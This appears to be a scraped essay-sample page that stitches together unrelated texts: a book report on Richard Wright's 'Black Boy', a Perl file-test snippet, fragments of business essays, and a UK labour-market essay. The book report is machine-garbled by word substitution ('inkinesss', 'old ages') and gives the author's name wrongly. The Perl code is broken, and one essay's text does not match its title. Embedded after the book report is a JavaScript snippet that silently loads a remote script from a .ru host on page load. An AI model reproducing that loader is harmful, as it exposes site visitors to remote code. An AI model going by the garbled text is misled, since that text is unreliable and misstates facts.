Black Boy Book Report Essay Research Paper free essay sample

Black Boy Book Report Essay, Research Paper # 65279 ; Black Boy I. Drumhead Black Boy by Richard Wright is an autobiographical expression at his life. It covers his life from the age of 4 old ages to his mid 20 # 8217 ; s. The book shows the life of a immature black adult male turning up in the South with Jim Crow Torahs and the general hatred for inkinesss by Whites. After recognizing that the colour of his tegument limited his chances in the South he dreamed of traveling North for a different life. Finally he moved north to Chicago, but merely saw small difference in racial equality. In Chicago he began tie ining with the Communist party: because of their just intervention of inkinesss. Black Boy illustrates the predicament of black America and how Wright dealt with it through instruction and reading. In his pursuit for cognition, Wright stirred up animus among both inkinesss and Whites. We will write a custom essay sample on Black Boy Book Report Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page William Wright was born September 4,1908 on a farm in Mississippi. He was the oldest of two, his brother Alan was a twelvemonth younger. Wright had a unsmooth childhood ; plagued by poorness, forsakings, and changeless whippings by household members. Through all of his adversities Wright neer lost sight of what was of import, his instruction and his self-pride. At a really early age Richard has to cover with some highly tough issues. At the mere age of five, Richards father left him and the household behind for another adult female. This financially ruined his household even worse. His female parent had to acquire a occupation to feed them. His male parent offered no fiscal support nor did a tribunal order him to. Because his female parent could non gain adequate money to purchase nutrient, Wright went out to happen work to assist ; predating an instruction. At age 8 his female parent suffered a shot which paralyzed her, this made her unable to work. She required changeless medical attending. Wright, his female parent and brother moved to his grandparents house. Wright spent most of his childhood life at his grandmas. He is treated really ill by his grandma and his aunt Addie. They are invariably crushing him for no evident ground. These whippings go on for a long clip, but he fights back several times against his grandma, aunts, and uncles. Wright had a great trade of independency and autonomy, likely gained by the forsakings suffered as a immature adult male. Another beginning of convulsion in Wrights life while populating in his grandmas house was a affair of faith. His expansive female parent went to church all the clip and was invariably citing the bible, but Wright did non believe in God or the church. His grandma hated him for this Race dealingss did non affect Wright through out his early childhood. He did non even recognize there was a difference in colour until his early teens. A black in the early 1900 # 8217 ; s was supposed to move a certain manner in forepart of Whites: like they were sub-human. It took Wright a long clip to larn that. He would move like anyone else non acknowledging Whites as superior merely peers. He about got killed because of it. One twenty-four hours, when Wright was a adolescent, a group of white work forces offered Wright a drive he said # 8221 ; certain # 8221 ; . Half to town they threw him out of the auto and told him the following clip a white adult male offers you a drive you better say # 8220 ; Sir # 8221 ; or they # 8217 ; ll kill you! In his teens Wright learned of the North and how much better it was for inkinesss than in the South. He worked long hours and tried to salvage his money but his parts to his grandmas house took most of his money. He could merely salvage $ 1 dollar a hebdomad, he needed $ 100 for his trip to Chicago where he had relations. He resorted to stealing from his foreman. He got adequate money in three hebdomads. He left his grandmas house which he hated. He promised his female parent that he would direct for her when he got settled a promise he would ever maintain. Although he hated his household he loved his female parent and brother in a heartfelt way. He stopped in Memphis on his manner to Chicago. He settled there for a small piece. He got a occupation and rented a room with a nice household, but this household had a girl that they wanted to get married off but Richard wanted no portion of that and moved instead rapidly. While in Memphis he sent for his Mother and Brother. After they arrived they preceded to Chicago. Chicago was really different than Mississippi, he saw inkinesss and Whites would walk past each other on the streets and inkinesss would non hold to avoid Whites. There was no menaces of lynching and unfastened force directed at inkinesss. Work was besides plentiful. Wright neer had jobs happening work. Even during the depression Wright had no job happening work. At this clip Wright is really good read, he is reading some of the best plants of his clip and through these readings he develops a really good cognition of how the universe works. He is the prototype of a ego taught adult male, his intelligence is axiomatic. Walking place from work one dark he heard a talker speaking about working category people uniting and taking charge. It is Communism, and from the really get downing he is taken by its doctrines. He is most impressed on its base on racial equality. He joins the Communist party and becomes passionately active. Finally Wright leaves the communist party because of differing positions on the manner the party is headed, but he still believes gt ; with the political orientation of communism to his decease. Black male child ends with Wrights go forthing the communist party. He wrote the terminal of the book as a prefiguration of what America and race dealingss are headed for. A really inexorable hereafter. II. Concepts a. Culture. A shared manner of life: The beliefs, values, behaviour, and material objects shared by a peculiar people. Richard Wright shows the behaviour of inkinesss around Whites. Never looking them straight in the oculus, acquiring out of their manner when a white came by on the street or at work. Always be obedient around Whites. He shows this on page 218 when speaking to his friend about how he acts in forepart of Whites. b. Stratification. A system by which a society ranks classs of people in a hierarchy. The stratification of Richard Wrights society is one that puts black below that of Whites and perchance even animate beings. Wright uses an illustration of stratification on page 43 when he talks of western civilisation and how inkinesss were kept out. c. Norms. Rules that guide behaviour. Richard grew up with norms like no cursing or utilizing the Godheads name in vena. Some regulations that were given to inkinesss by Whites are, inkinesss must state sir when turn toing a white, they must neer look a white in the oculus when speech production. Stealing is a norm that Richard shows a different mentality on. ( P. 240. ) d. Values. Standards by which members of a civilization distinguish the desirable from the unwanted. One value that Americans possessed is the chase of stuff wealth. Page 321 explains what Wright see incorrect with this. e. Moress. Norms that have great moral significance. Murder is an illustration of a mores. It is a more in any clip period. Murder among and of inkinesss was frequently over looked in Wrights clip. He explains this on page 269, how a black adult male was lynched and there was no 1 arrested signifier slaying. f. Folkways. Norms that have small moral significance. The manner people are expected to dress. Wright at an early age wants to conform to the manner his school couples frock by purchasing long bloomerss. ( P. 160 ) g. Socialization. Lifelong societal experience by which persons develop human potency and larn the form of their civilization. Socialization through household and equals were the most of import to Wright. Page 91 shows Wright and his equals and how they live in a detached society. Pages 54 and 55 shows how Wrights female parent explained the differences of black and white. h. Role A ; Status. Status is a recognized societal place that an single occupies. Role is a form of expected behaviour attached to a peculiar position. Wright had several Role A ; Statuss turning up, as a kid he was expected to be obedient and respectful of his household. As a black grownup he was expected to go a worker for a white household or foreman and be nil more than janitor. He was non expected to be able to read and compose so good it got him in problem. Wright experienced a batch of problem in his life because he did non ever fit in to the function and position he was expected to. ( P. 421 ) i. Deviancy. The recognized misdemeanor of cultural norms. Richard Wright shows aberrance about in his full life. From his contending back against the inordinate whippings he received from his aunts ( P. 126 ) . To his aspirations of an instruction and a better life ( P. 390 ) . J. Primary Group. A little societal group in which relationships are both personal and digesting. Richard Wrights primary group consisted merely of his Mother, Brother, and Aunt Maggie. k. Secondary Group. A big and impersonal societal group based on a specific involvement or activity. Willard huntington wrights secondary groups would dwell of his occupation at the station office, his rank to the communist party. l. Significant Other. Is the individual that person would wish to emulate. Wright through out his life did non desire to emulate anyone in his race and Whites. Wright wanted to emulate authors because of there accomplishments and what they provided to their readers. He wanted to give readers meaningful things to read that would consequence their lives. III. Methodology Black Boy is an autobiography of Richard Wright. Although this is autobiography Richard Wright Tells it like a novel, and is in Participant Observer method. Although in a true participant perceiver the individual voluntarily puts himself in the group he is analyzing. Wright was born into the state of affairs he is in. When he writes this Wright offers insight to what is traveling on in his head and besides a retrospect of what he feels when he was composing Black Boy about 20 old ages after. He does this as about an almighty storyteller. IV. Opinion I would extremely urge this book to people. It is a good written book that reads fast and is really entertaining. I think it should be required reading for everyone in college. It offers a position that most white people don # 8217 ; t understand. It would give them a new penetration on race dealingss and expression at themselves as how they perceive inkinesss. Black kids of the 90 # 8217 ; s should read this because I feel it would give them new penetration on their ain heritage and battle of inkinesss after bondage. It would demo them how much they can carry through even in the face of subjugation. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

How to Tell if a File Exists in Perl

How to Tell if a File Exists in Perl Perl has a set of useful file test operators that can be used to  see whether a file exists or not. Among them is -e, which checks to see if a file exists. This information could be useful to you when you are working on a script that needs access to a specific file, and you want to be sure that the file is there before performing operations. If, for example, your script has a log or a configuration file that it depends upon, check for it first. The example script below throws a descriptive error if a file is not found using this test. #!/usr/bin/perl$filename /path/to/your/file.doc;if (-e $filename) {print File Exists!;} First, you create a string that contains the path to the file that you want to test. Then you wrap the -e (exists) statement in a conditional block so that the print statement (or whatever you put there) is only called if the file exists. You could test for the opposite- that the file does not exist- by using the unless conditional: unless (-e $filename) {print File Doesnt Exist!;} Other File Test Operators You can test for two or more things at a time using the and () or the or (||) operators. Some other Perl file test operators are: -r checks if the file is readable-w checks if the file is writeable-x checks if the file is executable-z checks if the file is empty-f checks if the file is a plain file-d checks if the file is a directory-l checks if the file is a symbolic link Using a file test can help you avoid errors or make you aware of an error that needs to be fixed.

Market research 1 -The marketing research process,scope etc for your Essay

Market research 1 -The marketing research process,scope etc for your chosen scenario - Essay Example Simultaneously, the applicability of various techniques for the proposed study will be studied and the best method will be identified. The market research is meant to identify the requirements of the customers visiting a bank. The research attempts to identify the importance the customers gave towards features like security of transmission, the customer-banker relationship, the bank’s array of services, and foothold amongst other factors. The research will not be testing as to how the customers actually perceive the services provided by the bankers, but just their expectations. The research will make an attempt to form conclusions to identify areas where the bankers should focus upon. Bank customers demand a varied type of services from their banks apart from the traditional ones they already provide. One of the most important among them is a hassle free and fast transfer of our funds. An ideal way of transferring funds is to convert physical money to an electronic one that can facilitate a large number of aspects ranging from increased efficiency in money transmission, low transaction cost in money transmission, expansion of economic activities on the internet and opening up of new businesses opportunities. However, these increased facilities are not free of problems. The most important one that the bank customers face is related to security issues. Another problem often faced by bank customers throughout the world is that of a weak customer-management relationship. People are very concerned about their hard-earned money, and often seek expert advice on them issues related to their investment. It is expected from the bank management to enrich them with their experience. But often it is found that the banks fail to attain friendly terms with their customers that would provide the latter with the freedom to interact. (Susan Ward, Customer Relationship

Conflict resolution Case Study Example | Topics and Well Written Essays - 2500 words

Conflict resolution - Case Study Example Environmentalists and executives of a company accused of polluting a stream meet to resolve their differences at a university-run mediation center in the Southeast. All of these examples are part of a new way of dealing with conflict. These new approaches to conflict are usually referred to by the general term "conflict resolution." Something whose roots can be traced to four (sometimes separate, sometimes intertwining) movements, all of which began in the mid-1960s and early 1970s: (1) new developments in organizational relations; (2) the introduction of the "problem-solving workshop" in international relations; (3) a redirection of religious figures from activist work in peace-related endeavors to an emphasis upon "peacemaking"; and (4) the criticism of lawyers and the court system by the general public that resulted in what is known as alternative dispute resolution (ADR). These four movements, which comprise the major divisions in the new field of conflict resolution, are all part of a more encompassing phenomenon in recent American history--the realization that the bureaucratization of the modern world has resulted in extreme depersonalization. This realization resulted in the questioning of legitimate authority characteristic of the 1960s and early 1970s in America. Thus, the emergence of the field of conflict resolution must be seen in the context of the larger framework of social and cultural change in American society. In the United States, as in all industrialized societies, legitimacy is based on authority embodied in the legal system, bureaucratic administration, and centralization. Indeed, we live in a society characterized by the rationalization of law, centralization and concentration within industry, and the subsequent extension of state intervention to previously private human actions. Like the civil rights movement, the women's liberation movement, the anti-Vietnam War movement, and the questioning of every major institutional order in the 1960s, conflict resolution was born in a time of questioning whether traditional legal authority served the needs of people or supported a status quo that reinforced social and political inequality. The 1960s ushered in a time of change and conflict. It was perceived by an active and vocal, if not large, part of the population that change was good, and the conflict that often produced the change was also a positive thing and not something to be avoided. Each of the four movements in conflict resolution, in their own unique way, represents a challenge to traditional authority, a part of this new way of looking at change and conflict. In the area of organizational relations this took the form of a questioning of top-down, centralized decision making and the role conflict played in organizations. In international relations, the "power paradigm" (the view that there are severe limitations to political reform because human beings are power-seeking creatures by nature and must be controlled by strong government action) was challenged via the notion that human beings seek to fulfill their basic needs rather than always seeking power and material interests. In certain religious organizations this took the form of an emphasis upon the religious community's ability to

The legal restrictions of race and whiteness Essay

The legal restrictions of race and whiteness - Essay Example It happened in 1985 when the United States administration under President Ronald Reagan, supplied weapons to Iran in exchange for hostages that were being held by Hezbollah a terrorist outfit loyal to Ayatollah Khomeini the Iran leader. Proceeds from this sale were given to the Contra guerrillas in Nicaragua. The Contras were armed opposition to Nicaragua’s Sandinista Junta of National Reconstruction, which formed after Anastasio Somoza Dabayle was overthrown from government. The Gorbachev policy of Perestroika and Glasnost were the two policies that were put into practice in the USSR. Perestroika was the democratization of the communist party allowing civilians to have a modest ay, in government, and economic reform by allowing some industries to operate semi-privately and ending price control through a semi-free market system. Glasnost meant openness, which increased the freedom of expression in the media and people. The birth control pill has defined the 20th Century by giving women an upper hand in dictating when to fall pregnant unlike before it was discovered where they relied on luck or fate. The birth control pill has made it easier to control unwanted pregnancies and control population. The Bay of Pigs was a military incursion into Cuba by exiles that were trained and supported, by the United States government, to try and overthrow the dictatorship regime of President Fidel Castro. Their action was unsuccessful because they did not receive the expected from the

Challenges and Opportunities in the UK Labour Market

Challenges and Opportunities in the UK Labour Market 1: The Business dictionary defines the labour market as: The nominal market in which workers find paying work, employers find willing workers, and wage rates are determined. Labour markets may be local or national (even international) in their scope and are made up of smaller, interacting labour markets for different qualifications, skills, and geographical locations. They depend on exchange of information between employers and job seekers about wage rates, conditions of employment, level of competition, and job location. Although not as heavily regulated as many other countries, the UK labour markets are regulated in many different ways, these include protections against oppression and discrimination, enhance efficiency, attribute responsibility, improve health and safety conditions, offers security, cut costs relating to employee/employer opportunism, and encouraging behaviour from employees and employers by imposing costs and rewards. Employment regulations exist to provide flexibility to employers and job and financial security to employees. It is vital in reducing poverty, supporting growth and employment with equity. Some argue the UK is not regulated enough e.g. TUC has called for greater protection in some areas of employment and argued for measures to further support collective bargaining. Whereas, Employers have complained that increased regulation restricts flexibility, particularly in times of economic burden. For regulations to be effective they must be implemented well and enforced. Social partner institutions such as, the Arbitration and Conciliation Advisory Service (Acas), the Low Pay Commission (LPC), the Health and Safety Commission (HSC), and the UK Commission for Skills and Employment (UKCES) regulate and influence the labour market via intervention and enforcement, to improve practices within the workplace. Regulation can also exist in the form of accreditation, e.g. a licence is required to perform a particular service. The number of professionals within the UK continues to expand. In 2014 roughly 24% of workers were classified professionals. Regulation has brought an end to the closed shop, restricted the ability to strike, and trade union governance. Although employers complain about regulation, it is recognised that it provides them with a level playing field in the market place. The UK economy is recovering, all be it slower than before. Recovery has not been helped by financial problems within the Eurozone, impacting on export markets. However, employment has now surpassed pre-recession peaks in terms of jobs (2012) and hours worked (2013). More recently there has been an increase in the number of jobs at both the top and the bottom of the job market, with significant fall in skilled trades in the middle resulting in an hourglass labour market. Although long term unemployment has increased, the UK has been relatively successful at keeping people in employment; employment rate, generally increasing each year since 2012, climbing to 73.7% (ONS 2015). Unemployment rates have fallen, however those with low skill levels and the young being more harshly hit. Youth unemployment has fallen sharply, and stands at around 22%. (UKES 2014). Although it should be remembered that substantially more young individuals are staying on in education, and enter the labour market much later than in the past, as graduates. The number of self employed has continued to grow, equating to 83% of net gains in employment since 2007 (Ashworth et al 2014). However, earnings with this sector have also dropped considerably. In addition to the growing self employed, the UK has also seen a substantial increase in other less secure employment. Since 2010 there has been a 50% increase in temporary work, zero our contracts, and government training schemes (OECD 2013). Employment within administrative and secretarial roles, and low skilled manual roles, continue to decline in many industries as technology advances. The world is becoming smaller, and many tasks/roles becoming automated. Many employees will find it necessary to retrain to keep up with technology advances and the changes it inevitably brings. Technology enables change, cost savings, and investment. Employees can now work from anywhere in the country/world quickly and efficiently, with the Financial Services, Specialist Engineering, and I.T. being amongst the industries leading growth and all greatly dependant on technology. There has been an increase of higher skilled workers commanding higher pay, within some industries; these include advanced manufacturing, creative and digital sectors (HM Treasury, 2011). Evidence shows those with higher skills and qualifications are more likely to remain employed; high-lighting the importance of high skills on job market outcomes. Research shows a drop in real wages of roughly 2% each year since 2010. (UKES 2014). By the end of 2013, real wages were roughly at levels of a decade previous. Removal of the default retirement age and changes to pension schemes, has seen individuals working longer, putting pressures on employers to ensure their policies and practices relate to older employees, and older employees needing to constantly retrain to meet the demands of different roles across their working life. There has been a drop of 19,000 people on Government supported training programmes. Public sector employment has also fallen, with numbers at lowest levels since comparable records began in 1999. However there has been a significant increase within private sector. Although it still exists there has been a reduction in the gender pay gap. IFS research shows an average difference in womens pay compared to means is 18%. This increases again after women have children. Freedom of movement within an ever growing EU, in addition to an increase in migration from outside the EU, has brought a large number of migrants into the UK looking for work; the number of non-UK nationals employed in the UK grew from 986,000 to 3.22 million 2015) between September 1997 and 2015. Many of which are employed in low-skilled work. Women, people from minority ethnic groups, people with disabilities, and those aged under 25 and over 55 years are all more likely to be either unemployed or economically inactive (Brewer et al., 2012). More women in the workplace, with more part time roles, and family friendly policies available. 1971 37% climbing to 69% by September 2015. The number of employed has increased to just over 4.1 million between 1992 and 2013; those over-50 increasing by 3.2 million, under-25s falling by almost 800,000. By 2013 the number of over 50s increased to 29% from 21% in 1992. 16 to 64 year-olds with a degree or higher-level qualification increased to +20% in the last 20 years. 2014, approximately 24% of employees were classified as professionals in the UK. Goods and services traded globally, are now five times the value in 1980. 2: Employment relationships are both an economic exchange (agreement to give wages for work) and a power relation (employee agrees to accept the employers authority). The psychological contract (Rousseau 1995), relies upon reciprocal expectations between the employer and employee being met. If violated employees may become de-motivated, and inefficient. Organisations have a huge variety of methods available to them, which involve the employee in the decision making process, making them feel valued and motivated which in turn, supports both the traditional and the psychological contract, enabling a positive working relationship, innovation, and high performing teams, these include: Participation empowers and motivates the employee by involving them in decision making. Teams are also trusted to make decisions for themselves, and encouraged to take responsibility for the quality of their own work. Examples include project groups, whereby employees are delegated resposnisbility to make important decisions, suggestion schemes providing employees with a channel to make comments and put forward new ideas, delegation of responsibility to employees at all levels, particulalry those on the front line and multi directional decision making allowing decisions to feed not only top down, but upwards and sideways too. Employee participation is also sometimes referred to as Employee Involvement. Employee Involvement is the level of employee contribution. A one-on-one approach between employee and management. Employee is involved throughout the decision-making process, therefore encouraging employee ownership. Information is the methods used by organisations to communicate information to their employees e.g. newsletters, information pinned to notice boards, informal networking, emails, and a combination of cascaded briefings, face-to-face communication from senior management and employee representatives. Consultation is the process used by organisations toconsult both directly with their employees, via face-to-face upwards communication, or staff surveys for example, and indirectly via employee representatives. e.g. Joint consultation review issues deemed to be of common interest/ importance to all parties, at unionised/non-union workplaces, predominantly private sector Collective representation Predominantly in public sector and some large private sector businesses. Involves negotiation between employee representatives (unionised/non union) and senior management on pay and other conditions of employment. Partnership schemes employee representatives and employers stress mutual gains. Tackle issues via co-operation. There is a high commitment to sharing information. Employee forums groups of mixed groups unionised/non-union employees meet with managers to share information and consultation. Employees can have a significant influence on the outcome. Partnership working is where employers and employees and/or their representatives work collaboratively to make decisions and plan actions. Partnership can take shape in a formal agreement between an employer and a trade union, but it is also used to refer to a way of working in co-operation (Reilly, 2001). Employee relations today, includes both collective and individual relationships, with alternative direct and indirect channels for employee voice emerging, including communication and involvement via team briefings, staff surveys, project working groups, social media, joint consultation, collective bargaining etc. Although union membership within the UK has fallen since 1980s, and employment relations without the involvement of unions is the norm within some industries, collective bargaining still has a considerable influence on European labour regulations. Typically where an organisation is unionised a significant number of employees will be members. Unions will bargain on behalf of the employee, and/or intervene with disputes between employees and management. As they represent large number of employees they are much harder for management to ignore. They can also protect the employee from victimisation. Another major benefit of belonging to a unionised organisation is that management can be legally bound to take procedures more seriously. In addition, unions have the power to threaten industrial action. Trade unions are still a strong force, primarily in the public sector, and large private sector companies. The majority of working population however, do not have access to union representation. Some parts of the public sector do not recognise trade unions; impacting on collective bargaining, representation in grievance, disciplinary matters etc, within large parts of the private sector. Smaller firms use more informal relations for consultation, using intermediaries offering advice primarily on the internet and in publications. However, many small firms operate without procedures and as such can lead to inconsistencies in employment relations. Non-union consultative committees are becoming common place in private sector, filling part of the gap generated by the decline in collective bargaining; the consultation process giving access to management enabling dialogue. In redundancy situations where no trade unions is recognised, non-union employee representatives must be advised and consulted of redundancies of +20 employees is proposed within a 30 day period. Bryson found that direct voice makes a particular difference in union settings suggesting that more channels makes for an employee voice with more impact. Elgar defines employee voice as the ways and means through which employees attempt to have a say and potentially influence organisational affairs about issues that affect their work and the interests of managers and owners. With a mixture of direct and indirect consultation and communication methods leading to higher levels of commitment, job satisfaction and job discretion. Initially employee voice was firmly equated with trade unions and collective bargaining, but more recently is viewed as a broad range of methods enabling employees to have a say about their organisation; it can be via both formal and informal systems, direct individual channels or indirect collective representation (CIPD 2010). Mechanisms can include one-to-one conversation between employee and employer, email communication, work/project groups, social events, suggestion schemes, profit-sharing, employee consultative committees and trade union representation. Research generally supports the notion that employee voice is beneficial to the working relationship of both the individual and the organisation; where employees are allowed to express their views and opinions, put forward suggestions for improvements, they feel recognised and valued. Data shows employee,employer relationships improve as trust increases and employee engagement and in turn performance increases. (Morrison et al. 2011). Farndale et al. (2011), argues that employee voice enables employees to communicate their views, and creates the belief that their contributions are valued, creating a level of respect and trust for their managers. Employee voice allows employees to feel recognised, listened to and valued, conversely, if no mechanisms for employee voice exist, or employees believe their views will have little or no influence it is likely to affect their attitudes and relationship with management (Farndale et al 2011). Truss et al. (2006) argues that one of the major drivers of employee engagement is employees being able to feed their opinions upwards. Research therefore suggests that there is likely to be a link between employee perceptions of voice and engagement, and increased engagement is proven to increase performance. 3: Organisational misbehaviour is defined as any intentional action made by members of an organisation that defies and violates shared organisational norms and expectations, and/or core societal values, mores and standards of proper conduct. (Yoav Vardi and Yoash Wiener 1996). Misbehaviour can be both minor e.g. poor timekeeping, and major e.g. stealing company resources. It can be internal and external, with the main aim being to hurt/damage others or the organisation, e.g. mistreatment, disruption and theft. Misbehaviour usually occurs where an employee: feels that they have been unfairly treated, unclear of job role bullying and harassment in workplace lack of training lack of equality and choose to repay this perceived unfairness by mibehaving. Misbehaviour inevitably leads to more management controls. Conflict in the workplace can take many forms including: an employee becoming withdrawn from the organisation, two workers who are not getting on, employee representatives and management at stand-off, an employee with a grievance, rivalry between teams, or a lack of trust and co-operation between employees and management. Where conflict exists, an organisation may experience a drop in motivation and in turn a drop in productivity, increased absenteeism, and increased negativity on staff surveys, and a general change in behaviour. By listening to employee views can help identify conflict, and take action to prevent the conflict becoming a problem. If conflict is not managed it can lead to strike action or even tribunal claims; Intervention at an early stage by management is crucial. When negotiation cannot resolve a workplace dispute industrial action typically follows. The three main forms of industrial action are: strike action short of a strike work to rule, overtime ban, or go slow lock-out the employer stops employees from working Official industrial action is authorised by the trade union. Employees have a minimum level of protection. Employees have additional protection where the union has appropriately balloted its members. Unofficial industrial action is action which has not been endorsed by any trade union. There is usually no right to argue unfair dismissal, if dismissed whilst taking part in unofficial action. Some conflicts are extremely visible. e.g., a heated exchange between two employees, or a stand off between management and an employee representative, and may result in misbehaviour. Organisational misbehaviour is defined as any intentional action made by members of an organisation that defies and violates shared organisational norms and expectations, and/or core societal values, mores and standards of proper conduct. (Vardi and Wiener 1996). e.g unauthorised absence, pilfering or sabotage. Conflict that is ignored will frequently escalate Recent industrial action trends are: Increase in private sector strikes however public sector lost significantly more days due to large scale strikes A decline in collective conflict increase in individual conflict, including strike, grievance or disciplinary measures Significant drop in strikes since 1980s mainly due to reduced trade union density and collective bargaining, and partnership working with employers. (WERS) average days lost fell to 0.5 million by 21st century 1999 employment tribunal cases soared +100,000, peaking again in 2006/7 with 132,500 applications Pay is the principal cause of labour disputes with the exception of 2009/2010, principal cause was redundancy The number of ballots up to 650, from 484 in 2013. Increase in multiple claims. Majority relating to equal pay claims against local authorities due to 1997 national agreement to seek single status of pay across employees. It is vital that managers are trained to enable them to deal with conflict. To help managers handle conflict they should: be trained to recognise signs of conflict, handle difficult conversations, manage absence, mediation and negotiation skills speak to their employees and letting them speak freely investigate conflict situations, and give sufficient time to finding resolution encourage open communication and expression of views in meetings and appraisals for example recognise the importance of feelings listen to what their employees are saying identify development and training opportunities explain and include employees in planning treat all employees fairly ensure safe working conditions have clear procedures particularly discipline, grievance, dispute procedures, absence and bullying and harrassment to ensure consistency write mediation into contracts of employment and/or grievance and disciplinary procedures identify when outside help is needed Third party involvement Where a dispute cannot be resolved using negotiation, unions and management may agree to approach Acas to resolve the dispute using conciliation, via independent support and advice. 70% cases who used ACAS, were settled or withdrawn before proceeding to an Employment Tribunal. Conciliation is used when a potential or an actual claim has been made to an employment tribunal. An impartial, independent person supporting two or more people in dispute to resolve their differences. Parties are not required to come face to face, as can be conducted over the phone. Pre-Claim Conciliation(PCC) saves time, money and stress. It promotes a quick solution for the employer and employee which may help to avoid a permanent breakdown in the relationship. Mediation is the most widespread form of conflict resolution. It is a form of early intervention and involves an impartial, independent person, or trained employee supporting two individuals/groups reach resolution, and maintain working relationships. Mediation does not make any judgments or determine the outcomes. They use appropriate tried and tested techniques to get people talking and listening and help determine the underlying causes of the problem. The mediator will try to get the parties to compromise and protect their working relationship for the future. The plus side of this method is, it can improve communication between parties, get them talking again when relationship had broken down, it is without prejudice and is flexible so resolution can be tailored to fit. However, the downside of this method includes, success is determined by how competent the mediator, it may not protect legal rights, and is relient on employee full co-operation and good faith, if pertinent parties are missing the process is weakened. Arbitration is a dispute which is settled by an independent person who considers everyones point of view and then issues a decision which is binding. An employee who believes they have been unfairly dismissed, has a complaint under the flexible working regulations, may have their complaint heard by an independent arbitrator who is appointed by Acas, if both sides agree. The plus side of this process is, it is completely confidential, it is formal and therefore minimises bad faith, it is quicker than the courts as there is less backlog, and the process is much shorter and therefore much less expensive. On the downside, success is dependent upon the arbitrator, right of appeal is limited, and confidentiality is not suitable in all disputes. Government has hi-lighted the importance of mediation in the workplace and extended the use of conciliation in-order to encourage the resolution of workplace disputes. 2012/13, over half of the cases (22,630) referred to PCC were resolved with less than a third progressing to tribunal (Acas, 2013). References ACAS. (2008). Conflict_at_work. Available: http://www.acas.org.uk/media/pdf/f/j/Acas_Research_Conflict_at_work_03_08-accessible-version-July-2011.pdf. Last accessed 25.09.16. ACAS. (2014). Managing Conflict and Resolving Individual Employment Disputes in the Contemporary Workplace. Available: http://www.acas.org.uk/media/pdf/6/9/reframing_policy_paper_FINAL.pdf. Last accessed 25.09.16. ACAS. (2016). Disputes and conflict in the workplace. Available: http://www.acas.org.uk/index.aspx?articleid=1662. Last accessed 25.09.16. ACAS. (2014). Workplace Dispute Resolution and the Management of Individual Conflict . Available: http://www.acas.org.uk/media/pdf/q/a/0614-Workplace-Dispute-Resolution-Thematic-Review.pdf. Last accessed 25.09.16. Alessandra Sgubini, Mara Prieditis Andrea Marighetto. (2004). Arbitration, Mediation and Conciliation: differences and similarities from an International and Italian business perspective. Available: http://www.mediate.com/articles/sgubinia2.cfm. Last accessed 25.09.16. Anne Sharpe. (2014). Early Conciliation. Available: http://www.acas.org.uk/index.aspx?articleid=4018. Last accessed 25.09.16. CIPD. (2012). Managing employee relations in difficult times. Available: https://www.cipd.co.uk/binaries/managing-employee-relations-in-difficult-times_2012.pdf. Last accessed 25.09.16. CIPD. (2015). Employment Regulations and the market. Available: https://www.cipd.co.uk/binaries/employment-regulation-and-themarket_2015.pdf. Last accessed 25.09.16. CIPD. (2010). Voice and engagement: how does collective consultation contribute? . Available: http://www.cipd.co.uk/binaries/5149_Voice_and_engagement.pdf. Last accessed 25.09.16. Craig Holmes and Ken Mayhew. (2012). The Changing Shape of the UK Job Market. Available: http://www.resolutionfoundation.org/wp-content/uploads/2014/08/The-Changing-Shape-of-the-UK-Job-Market.pdf. Last accessed 25.09.16. DifferenceBetween.com. (2014). difference-between-employee-involvement-and-vs-employee-participation. Available: http://www.differencebetween.com/difference-between-employee-involvement-and-vs-employee-participation/. Last accessed 25.09.16. Rees, C., Alfes, K . and Gatenby, M. . (2013). Employee voice and engagement: connections and consequences. Available: https://pure.royalholloway.ac.uk/portal/files/23168236/postprint_IJHRM_2013.pdf. Last accessed 25.09.16. http://www.businessdictionary.com/definition/labor-market.html https://www.cipd.co.uk/Images/employment-regulation-and-the-labour-market_2015_tcm18-10238.pdf https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/343448/The_Labour_Market_Story-_An_Overview.pdf http://www.resolutionfoundation.org/app/uploads/2014/08/The-Changing-Shape-of-the-UK-Job-Market.pdf www.ons.gov.uk/ons/rel/social-trends/social-trends-41labour-market.pdf https://www.theguardian.com/money/2016/aug/23/gender-pay-gap-average-18-per-cent-less-uk-women http://www.employment-studies.co.uk/system/files/resources/files/427.pdf http://www.employment-studies.co.uk/system/files/resources/files/427.pdf https://pure.royalholloway.ac.uk/portal/files/23168236/postprint_IJHRM_2013.pdf http://www2.cipd.co.uk/NR/rdonlyres/333391D9-A8E3-4AC7-A4E1-50B8ECE66E38/0/9781843982685_sc.pdf Bibliography CIPD. (2014). managing-an-age-diverse-workforce. Available: https://www.cipd.co.uk/binaries/managing-an-age-diverse-workforce_2014.PDF. Last accessed 25.09.16. CIPD. (2016). employment-law-developments. Available: http://www.cipd.co.uk/hr-resources/factsheets/employment-law-developments.aspx. Last accessed 25.09.16. Hempsons. (2016). official-or-unofficial?. Available: http://www.hempsons.co.uk/official-or-unofficial/. Last accessed 25.09.16. Office for National Statistics. (2016). Employment and Labour Market. Available: https://www.ons.gov.uk/employmentandmarket. Last accessed 25.09.16. UK Essays. (2015). https://www.ukessays.com/essays/commerce/union-and-non-union-forms-of-employee-representation-commerce. Available: https://www.ukessays.com/essays/commerce/union-and-non-union-forms-of-employee-representation-commerce-essay.php. Last accessed 25.09.16. https://www.oecd.org/dac/povertyreduction/43280231.pdf https://assets.publishing.service.gov.uk/media/57a08a9eed915d3cfd00085c/RAND_WR957.pdf

Wedding Speech Delivered by the Groom -- Wedding Toasts Roasts Speeche

